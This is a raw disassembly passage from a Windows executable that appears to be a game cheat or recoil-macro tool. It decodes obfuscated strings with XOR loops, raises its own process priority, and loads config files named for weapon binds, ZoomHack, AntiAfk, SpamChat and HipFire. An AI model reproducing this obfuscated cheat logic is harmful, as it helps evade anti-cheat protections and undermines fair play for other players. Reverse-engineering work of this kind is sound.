shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x14007a0a0
cmp r8d, 0x12
jge 0x14007a1e1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x14007a1b0
lea rdx, [0x1400aef76]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400aef76], 1
jne 0x14007a232
mov byte [0x1400ae050], 0
mov byte [0x1400aeff5], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x100
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14007a232
lea rcx, str.RealTime_Priority
call fcn.1400161e0
lea rdx, [rbp + 0xc70]
mov byte [rbp + 0x4f], 0
lea rcx, [rbp + 0x4f]
call fcn.1400887e0
mov r10, rax
cmp byte [rax + 0xf], 0
je 0x14007a3f3
mov r8d, ebx
cmp esi, 2
jl 0x14007a3b3
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov edx, ebx
movdqa xmm4, xmmword [0x1400a3220]
mov rcx, r10
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov r8d, dword [rbp + 0xd20]
movd xmm8, eax
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x10
jl 0x14007a2b0
jmp 0x14007a3f3
mov r9, r10
nop word [rax + rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x14007a3c0
lea rdx, [0x1400aeff5]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400aeff5], 1
jne 0x14007a444
mov byte [0x1400aef76], 0
mov byte [0x1400ae050], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x8000
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14007a444
lea rcx, str.Normal_Priority
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x14007acb7
lea rdx, [rbp + 0x1f00]
mov byte [rbp + 0x50], 0
lea rcx, [rbp + 0x50]
call fcn.1400887f0
mov r10, rax
cmp byte [rax + 0x1f], 0
je 0x14007a613
mov r8d, ebx
cmp esi, 2
jl 0x14007a5d3
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov edx, ebx
movdqa xmm4, xmmword [0x1400a3220]
mov rcx, r10
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov r8d, dword [rbp + 0xd20]
movd xmm8, eax
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x20
jl 0x14007a4d0
jmp 0x14007a613
mov r9, r10
nop word [rax + rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x20
jl 0x14007a5e0
lea rdx, [0x1400ae052]
mov rcx, r10
call fcn.140042be0
cmp byte [0x1400ae052], 1
jne 0x14007acb7
lea rdx, [rbp + 0x2170]
mov byte [rbp + 0x51], 0
lea rcx, [rbp + 0x51]
call fcn.140088810
mov r10, rax
cmp byte [rax + 0x21], 0
je 0x14007a7e1
mov r8d, ebx
cmp esi, 2
jl 0x14007a7a9
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x20
jl 0x14007a6a0
cmp r8d, 0x22
jge 0x14007a7e1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x22
jl 0x14007a7b0
lea rdx, [0x1400ae050]
mov rcx, r10
call fcn.140042be0
movzx edx, byte [0x1400ae050]
cmp dl, 1
jne 0x14007a80a
mov byte [0x1400aeff5], 0
mov byte [0x1400aef76], 0
cmp byte [0x1400ae053], 1
jne 0x14007a827
movzx eax, byte [0x1400aef77]
cmp al, 1
mov ecx, eax
cmove ecx, ebx
mov byte [0x1400aef77], cl
cmp dl, 1
jne 0x14007a857
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x80
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14007a857
lea rcx, str._
call fcn.1400161e0
lea rdx, [rbp + 0x2e68]
mov byte [rbp + 0x52], 0
lea rcx, [rbp + 0x52]
call fcn.140088840
mov r10, rax
cmp byte [rax + 0x34], 0
je 0x14007aa11
mov r8d, ebx
cmp esi, 2
jl 0x14007a9d9
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x30
jl 0x14007a8d0
cmp r8d, 0x35
jge 0x14007aa11
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x35
jl 0x14007a9e0
lea rdx, [0x1400aef76]
mov rcx, r10
call fcn.140042be0
movzx edx, byte [0x1400aef76]
cmp dl, 1
jne 0x14007aa3a
mov byte [0x1400ae050], 0
mov byte [0x1400aeff5], 0
cmp byte [0x1400ae053], 1
jne 0x14007aa57
movzx eax, byte [0x1400aef77]
cmp al, 1
mov ecx, eax
cmove ecx, ebx
mov byte [0x1400aef77], cl
cmp dl, 1
jne 0x14007aa87
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x100
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14007aa87
lea rcx, str.__.__________
call fcn.1400161e0
lea rdx, [rbp + 0x2ad0]
mov byte [rbp + 0x53], 0
lea rcx, [rbp + 0x53]
call fcn.140088880
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x14007ac41
mov r8d, ebx
cmp esi, 2
jl 0x14007ac09
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x14007ab00
cmp r8d, 0x2d
jge 0x14007ac41
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x2d
jl 0x14007ac10
lea rdx, [0x1400aeff5]
mov rcx, r10
call fcn.140042be0
movzx edx, byte [0x1400aeff5]
cmp dl, 1
jne 0x14007ac6a
mov byte [0x1400aef76], 0
mov byte [0x1400ae050], 0
cmp byte [0x1400ae053], 1
jne 0x14007ac87
movzx eax, byte [0x1400aef77]
cmp al, 1
mov ecx, eax
cmove ecx, ebx
mov byte [0x1400aef77], cl
cmp dl, 1
jne 0x14007acb7
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x8000
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14007acb7
lea rcx, [0x1400a0a50]
call fcn.1400161e0
call fcn.14000d0d0
mov eax, dword [0x1400ae3f8]
cmp eax, 3
jne 0x140081e0b
call fcn.14005fd40
call fcn.140043100
lea rdx, [rbp + 0x4f8]
mov byte [rbp + 0x54], 0
lea rcx, [rbp + 0x54]
call fcn.140088550
mov rbx, rax
cmp byte [rax + 7], 0
je 0x14007ae43
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x14007ae0c
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbx], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rbx + 4]
pxor xmm2, xmm0
movd dword [rbx + 4], xmm2
jmp 0x14007ae43
mov r9, rbx
nop
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x14007ae10
movss xmm2, dword [0x1400a2078]
lea rcx, [rbp + 0x500]
movss xmm1, dword [0x1400a2088]
call fcn.140002fe0
mov rdx, rax
xor r9d, r9d
xor r8d, r8d
mov rcx, rbx
call fcn.14000d070
lea rdx, [rbp + 0x7f0]
mov byte [rbp + 0x55], 0
lea rcx, [rbp + 0x55]
call fcn.1400888c0
mov rbx, rax
cmp byte [rax + 0xb], 0
je 0x14007afe2
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x14007afab
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbx], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rbx + 4]
pxor xmm2, xmm0
movd dword [rbx + 4], xmm2
mov r9d, r8d
add r9, rbx
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x14007afb1
movaps xmm2, xmm9
lea rcx, [rbp + 0x508]
movaps xmm1, xmm9
call fcn.140002fe0
mov rdx, rax
mov rcx, rbx
call fcn.140041040
test al, al
je 0x14007e385
lea rdx, [rbp + 0xc80]
mov byte [rbp + 0x56], 0
lea rcx, [rbp + 0x56]
call fcn.1400888e0
mov r10, rax
cmp byte [rax + 0xf], 0
je 0x14007b1c3
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x14007b183
movdqa xmm0, xmmword [str.1111111111111111]
mov edx, eax
movdqa xmm5, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
mov rcx, r10
movdqa xmm7, xmmword [0x1400a2260]
movdqa xmmword [rbp + 0xd20], xmm0
mov r8d, dword [rbp + 0xd20]
movd xmm6, eax
mov eax, 0x1f
movd xmm8, eax
nop
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x10
jl 0x14007b080
jmp 0x14007b1c3
mov r9, r10
nop word [rax + rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x14007b190
mov r9d, 0x40
lea r8, str.INFO
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rdx, str.C:Evicted.wtf_sensivity_1.txt
lea rcx, [rbp + 0x3648]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtf_akbind.txt
lea rcx, [rbp + 0x3628]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtflrbind.txt
lea rcx, [rbp + 0x3608]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtfmpbind.txt
lea rcx, [rbp + 0x35c8]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtfcsbind.txt
lea rcx, [rbp + 0x35a8]
call fcn.14008ae00
lea rdx, [0x14009e6c8]
lea rcx, [rbp + 0x3588]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtf_smbind.txt
lea rcx, [rbp + 0x3568]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtfm2bind.txt
lea rcx, [rbp + 0x3548]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtfptbind.txt
lea rcx, [rbp + 0x3528]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtfxxbind.txt
lea rcx, [rbp + 0x3508]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtfyybind.txt
lea rcx, [rbp + 0x34e8]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtfhhbind.txt
lea rcx, [rbp + 0x34c8]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtf_ssbind.txt
lea rcx, [rbp + 0x34a8]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtf_slbind.txt
lea rcx, [rbp + 0x35e8]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtfxcontrol_1.txt
lea rcx, [rbp + 0x3488]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtfycontrol_1.txt
lea rcx, [rbp + 0x3468]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtf_adssensivity_1.txt
lea rcx, [rbp + 0x3448]
call fcn.14008ae00
lea rdx, [0x14009e870]
lea rcx, [rbp + 0x3428]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtfSpliter.txt
lea rcx, [rbp + 0x3408]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtfBigSpliter.txt
lea rcx, [rbp + 0x33e8]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtfCode.txt
lea rcx, [rbp + 0x33c8]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtfZoom.txt
lea rcx, [rbp + 0x33a8]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtfBigClip.txt
lea rcx, [rbp + 0x3388]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtfEnable.txt
lea rcx, [rbp + 0x3368]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtfAntiAfk.txt
lea rcx, [rbp + 0x3348]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtfZoomHack.txt
lea rcx, [rbp + 0x3328]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtfSpamChat.txt
lea rcx, [rbp + 0x3828]
call fcn.14008ae00
lea rdx, str.C:Evicted.wtfHipFire.txt
lea rcx, [rbp + 0x3808]
